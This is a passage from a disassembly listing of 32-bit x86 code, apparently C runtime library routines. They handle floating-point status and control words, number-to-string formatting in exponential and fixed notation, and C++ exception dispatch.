loc_421FA7:				; CODE XREF: sub_421F51+41j
					; sub_421F51+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_421F51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421FAB(double,int)

sub_421FAB	proc near		; CODE XREF: sub_421BFF+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427860
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_421FCB
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_422061
; ---------------------------------------------------------------------------


loc_421FCB:				; CODE XREF: sub_421FAB+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42203A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421FE3
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42203A


loc_421FE3:				; CODE XREF: sub_421FAB+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427860
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_421FFB
		push	1
		pop	eax
		jmp	short loc_421FFD
; ---------------------------------------------------------------------------


loc_421FFB:				; CODE XREF: sub_421FAB+49j
		xor	eax, eax


loc_421FFD:				; CODE XREF: sub_421FAB+4Ej
					; sub_421FAB+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_422016
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_422010
		or	dword ptr [ebp+arg_0+4], 1


loc_422010:				; CODE XREF: sub_421FAB+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_421FFD
; ---------------------------------------------------------------------------


loc_422016:				; CODE XREF: sub_421FAB+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_422024
		or	byte ptr [ebp+arg_0+7],	80h


loc_422024:				; CODE XREF: sub_421FAB+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421F28
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_422061
; ---------------------------------------------------------------------------


loc_42203A:				; CODE XREF: sub_421FAB+28j
					; sub_421FAB+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421F28
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_422061:				; CODE XREF: sub_421FAB+1Bj
					; sub_421FAB+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_421FAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42206C	proc near		; CODE XREF: sub_42194C+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_42206C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42207A	proc near		; CODE XREF: sub_42194C+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_42207A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422089	proc near		; CODE XREF: sub_41D055+13p
					; sub_41D055+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_422089	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4220AC	proc near		; CODE XREF: sub_421BFF+1Dp
					; sub_421BFF+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_4220C3
		fld	tbyte_43D408
		fistp	[ebp+arg_0]
		wait


loc_4220C3:				; CODE XREF: sub_4220AC+Bj
		test	cl, 8
		jz	short loc_4220D8
		fstsw	ax
		fld	tbyte_43D408
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_4220D8:				; CODE XREF: sub_4220AC+1Aj
		test	cl, 10h
		jz	short loc_4220E7
		fld	tbyte_43D414
		fstp	[ebp+var_8]
		wait


loc_4220E7:				; CODE XREF: sub_4220AC+2Fj
		test	cl, 4
		jz	short loc_4220F5
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_4220F5:				; CODE XREF: sub_4220AC+3Ej
		test	cl, 20h
		jz	short locret_422100
		fldpi
		fstp	[ebp+var_8]
		wait

locret_422100:				; CODE XREF: sub_4220AC+4Cj
		leave
		retn
sub_4220AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_422102	proc near		; CODE XREF: sub_41D124+Fp
		push	30000h
		push	10000h
		call	sub_424865
		pop	ecx
		pop	ecx
		retn
sub_422102	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422114	proc near		; CODE XREF: sub_422152:loc_422176j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427870
		fstp	[ebp+var_8]
		fld	dbl_427868
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_4276F8
		fnstsw	ax
		sahf
		jbe	short loc_42214E
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_42214E:				; CODE XREF: sub_422114+33j
		xor	eax, eax
		leave
		retn
sub_422114	endp


; =============== S U B	R O U T	I N E =======================================



sub_422152	proc near		; CODE XREF: sub_41D124+5p
		push	offset aKernel32 ; "KERNEL32"
		nop
		call	near ptr 2690000h
		test	eax, eax
		jz	short loc_422176
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		nop
		call	near ptr 26B032Eh
		test	eax, eax
		jz	short loc_422176
		push	0
		call	eax ; sub_41D124
		retn
; ---------------------------------------------------------------------------


loc_422176:				; CODE XREF: sub_422152+Dj
					; sub_422152+1Dj
		jmp	sub_422114
sub_422152	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42217B	proc near		; CODE XREF: sub_41FF3F+3CBp
					; DATA XREF: sub_41D13C+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41DFEC
		cmp	eax, 65h
		pop	ecx
		jz	short loc_4221BB


loc_42218F:				; CODE XREF: sub_42217B+3Ej
		inc	esi
		cmp	dword_43D084, 1
		jle	short loc_4221A8
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4221B7
; ---------------------------------------------------------------------------


loc_4221A8:				; CODE XREF: sub_42217B+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43CE78
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_4221B7:				; CODE XREF: sub_42217B+2Bj
		test	eax, eax
		jnz	short loc_42218F


loc_4221BB:				; CODE XREF: sub_42217B+12j
		mov	cl, byte_43D088
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_4221C6:				; CODE XREF: sub_42217B+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_4221C6
		pop	esi
		retn
sub_42217B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4221D5	proc near		; CODE XREF: sub_41FF3F+3E2p
					; DATA XREF: sub_41D13C+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43D088
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_4221F1


loc_4221E5:				; CODE XREF: sub_4221D5+1Aj
		cmp	cl, dl
		jz	short loc_4221F1
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_4221E5


loc_4221F1:				; CODE XREF: sub_4221D5+Ej
					; sub_4221D5+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_422222


loc_4221F8:				; CODE XREF: sub_4221D5+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42220B
		cmp	cl, 65h
		jz	short loc_42220B
		cmp	cl, 45h
		jz	short loc_42220B
		inc	eax
		jmp	short loc_4221F8
; ---------------------------------------------------------------------------


loc_42220B:				; CODE XREF: sub_4221D5+27j
					; sub_4221D5+2Cj ...
		mov	ecx, eax


loc_42220D:				; CODE XREF: sub_4221D5+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42220D
		cmp	[eax], dl
		jnz	short loc_422218
		dec	eax


loc_422218:				; CODE XREF: sub_4221D5+40j
					; sub_4221D5+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_422218

locret_422222:				; CODE XREF: sub_4221D5+21j
		retn
sub_4221D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_422223	proc near		; DATA XREF: sub_41D13C+28o
					; ___:off_43D430o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jb	short loc_422238
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422238:				; CODE XREF: sub_422223+Fj
		xor	eax, eax
		retn
sub_422223	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42223B	proc near		; CODE XREF: sub_420DB0+430p
					; DATA XREF: sub_41D13C+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_422264
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424D28
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_422264:				; CODE XREF: sub_42223B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424D55
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42223B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422279	proc near		; CODE XREF: sub_4224F6+17p
					; sub_422540+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DBE5C, 0
		push	ebx
		push	esi
		jz	short loc_4222AE
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DBE58
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_422591
		pop	ecx
		pop	ecx
		jmp	short loc_4222E6
; ---------------------------------------------------------------------------


loc_4222AE:				; CODE XREF: sub_422279+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_424DF9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424D82
		add	esp, 14h


loc_4222E6:				; CODE XREF: sub_422279+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_4222F2
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_4222F2:				; CODE XREF: sub_422279+73j
		test	ebx, ebx
		jle	short loc_42230A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43D088
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_42230A:				; CODE XREF: sub_422279+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DBE5C, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41C890
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_422331
		mov	byte ptr [ecx],	45h


loc_422331:				; CODE XREF: sub_422279+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_422376
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_422345
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_422345:				; CODE XREF: sub_422279+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_42235C
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_42235C:				; CODE XREF: sub_422279+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_422373
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_422373:				; CODE XREF: sub_422279+E7j
		add	[ecx+1], bl


loc_422376:				; CODE XREF: sub_422279+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_422279	endp


; =============== S U B	R O U T	I N E =======================================



sub_42237D	proc near		; CODE XREF: sub_42251D+13p
					; sub_422540+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DBE5C, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_4223B8
		mov	eax, dword_4DBE60
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DBE58
		cmp	eax, ebx
		jnz	short loc_4223E8
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_4223E8
; ---------------------------------------------------------------------------


loc_4223B8:				; CODE XREF: sub_42237D+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_424DF9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424D82
		add	esp, 14h


loc_4223E8:				; CODE XREF: sub_42237D+22j
					; sub_42237D+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_4223F6
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_4223F6:				; CODE XREF: sub_42237D+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_42240D
		push	1
		push	edi
		call	sub_422591
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_42240F
; ---------------------------------------------------------------------------


loc_42240D:				; CODE XREF: sub_42237D+7Ej
		add	edi, eax


loc_42240F:				; CODE XREF: sub_42237D+8Ej
		test	ebx, ebx
		jle	short loc_422454
		push	1
		push	edi
		call	sub_422591
		mov	al, byte_43D088
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_422454
		cmp	byte_4DBE5C, 0
		jz	short loc_422439
		neg	esi
		jmp	short loc_42243F
; ---------------------------------------------------------------------------


loc_422439:				; CODE XREF: sub_42237D+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_422441


loc_42243F:				; CODE XREF: sub_42237D+BAj
		mov	ebx, esi


loc_422441:				; CODE XREF: sub_42237D+C0j
		push	ebx
		push	edi
		call	sub_422591
		push	ebx
		push	30h
		push	edi
		call	sub_41BF70
		add	esp, 14h


loc_422454:				; CODE XREF: sub_42237D+94j
					; sub_42237D+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_42237D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42245B	proc near		; CODE XREF: sub_422540+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_424DF9
		mov	dword_4DBE58, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4DBE60, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424D82
		mov	eax, dword_4DBE58
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4DBE60, ecx
		setl	cl
		mov	byte_4DBE64, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4DBE60, eax
		jl	short loc_4224E1
		cmp	eax, ebx
		jge	short loc_4224E1
		test	cl, cl
		jz	short loc_4224D2


loc_4224C8:				; CODE XREF: sub_42245B+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_4224C8
		and	[esi-2], al


loc_4224D2:				; CODE XREF: sub_42245B+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_42251D
		add	esp, 0Ch
		jmp	short loc_4224F1
; ---------------------------------------------------------------------------


loc_4224E1:				; CODE XREF: sub_42245B+63j
					; sub_42245B+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_4224F6
		add	esp, 10h


loc_4224F1:				; CODE XREF: sub_42245B+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42245B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4224F6	proc near		; CODE XREF: sub_42245B+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4DBE5C, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_422279
		and	byte_4DBE5C, 0
		add	esp, 10h
		retn
sub_4224F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42251D	proc near		; CODE XREF: sub_42245B+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4DBE5C, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_42237D
		and	byte_4DBE5C, 0
		add	esp, 0Ch
		retn
sub_42251D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422540	proc near		; CODE XREF: sub_41FF3F+3AAp
					; DATA XREF: sub_41D13Co ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_42257B
		cmp	[ebp+arg_8], 45h
		jz	short loc_42257B
		cmp	[ebp+arg_8], 66h
		jnz	short loc_422568
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42237D
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_422568:				; CODE XREF: sub_422540+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42245B
		jmp	short loc_42258C
; ---------------------------------------------------------------------------


loc_42257B:				; CODE XREF: sub_422540+7j
					; sub_422540+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422279


loc_42258C:				; CODE XREF: sub_422540+39j
		add	esp, 10h
		pop	ebp
		retn
sub_422540	endp


; =============== S U B	R O U T	I N E =======================================



sub_422591	proc near		; CODE XREF: sub_422279+2Cp
					; sub_42237D+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_4225B4
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41B9C0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41D670
		add	esp, 10h
		pop	esi


loc_4225B4:				; CODE XREF: sub_422591+7j
		pop	edi
		retn
sub_422591	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B6	proc near		; CODE XREF: ___:0041D31Cp
					; sub_41D385+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_4225CC
		call	sub_422E52


loc_4225CC:				; CODE XREF: sub_4225B6+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_4225F4
		cmp	dword ptr [esi+4], 0
		jz	short loc_42264A
		cmp	[ebp+arg_14], 0
		jnz	short loc_42264A
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_4228FD
		add	esp, 10h
		jmp	short loc_42264A
; ---------------------------------------------------------------------------


loc_4225F4:				; CODE XREF: sub_4225B6+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_42264A
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42262E
		cmp	[eax+14h], edi
		jbe	short loc_42262E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_42262E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_42264D
; ---------------------------------------------------------------------------


loc_42262E:				; CODE XREF: sub_4225B6+4Aj
					; sub_4225B6+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_422651
		add	esp, 20h


loc_42264A:				; CODE XREF: sub_4225B6+23j
					; sub_4225B6+29j ...
		push	1
		pop	eax


loc_42264D:				; CODE XREF: sub_4225B6+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4225B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422651	proc near		; CODE XREF: sub_4225B6+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_422671
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_422676


loc_422671:				; CODE XREF: sub_422651+16j
		call	sub_422E52


loc_422676:				; CODE XREF: sub_422651+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_4227CD
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_4226EA
		cmp	[esi+14h], edi
		jnz	short loc_4226EA
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_4226EA
		mov	esi, dword_4DBE68
		test	esi, esi
		jz	loc_4227C8
		mov	eax, dword_4DBE6C
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424F80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4226CC
		call	sub_422E52


loc_4226CC:				; CODE XREF: sub_422651+74j
		cmp	[esi], ebx
		jnz	loc_4227CD
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_4226EA
		cmp	[esi+14h], edi
		jnz	short loc_4226EA
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_4226EA
		call	sub_422E52


loc_4226EA:				; CODE XREF: sub_422651+41j
					; sub_422651+46j ...
		cmp	[esi], ebx
		jnz	loc_4227CD
		cmp	dword ptr [esi+10h], 3
		jnz	loc_4227CD
		cmp	[esi+14h], edi
		jnz	loc_4227CD
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41D4D3
		add	esp, 14h
		mov	ebx, eax


loc_422721:				; CODE XREF: sub_422651+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_4227B8
		cmp	[ebx], edi
		jg	short loc_4227AD
		cmp	edi, [ebx+4]
		jg	short loc_4227AD
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_4227AA


loc_422746:				; CODE XREF: sub_422651+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_422777


loc_422758:				; CODE XREF: sub_422651+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_4228A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_422786
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_422758


loc_422777:				; CODE XREF: sub_422651+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_422746
		jmp	short loc_4227AA
; ---------------------------------------------------------------------------


loc_422786:				; CODE XREF: sub_422651+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_4229B1
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_4227AA:				; CODE XREF: sub_422651+F3j
					; sub_422651+133j
		mov	edi, [ebp+var_10]


loc_4227AD:				; CODE XREF: sub_422651+DEj
					; sub_422651+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_422721
; ---------------------------------------------------------------------------


loc_4227B8:				; CODE XREF: sub_422651+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_4227C8
		push	1
		push	esi
		call	sub_422D26
		pop	ecx
		pop	ecx


loc_4227C8:				; CODE XREF: sub_422651+56j
					; sub_422651+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4227CD:				; CODE XREF: sub_422651+37j
					; sub_422651+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_4227F3
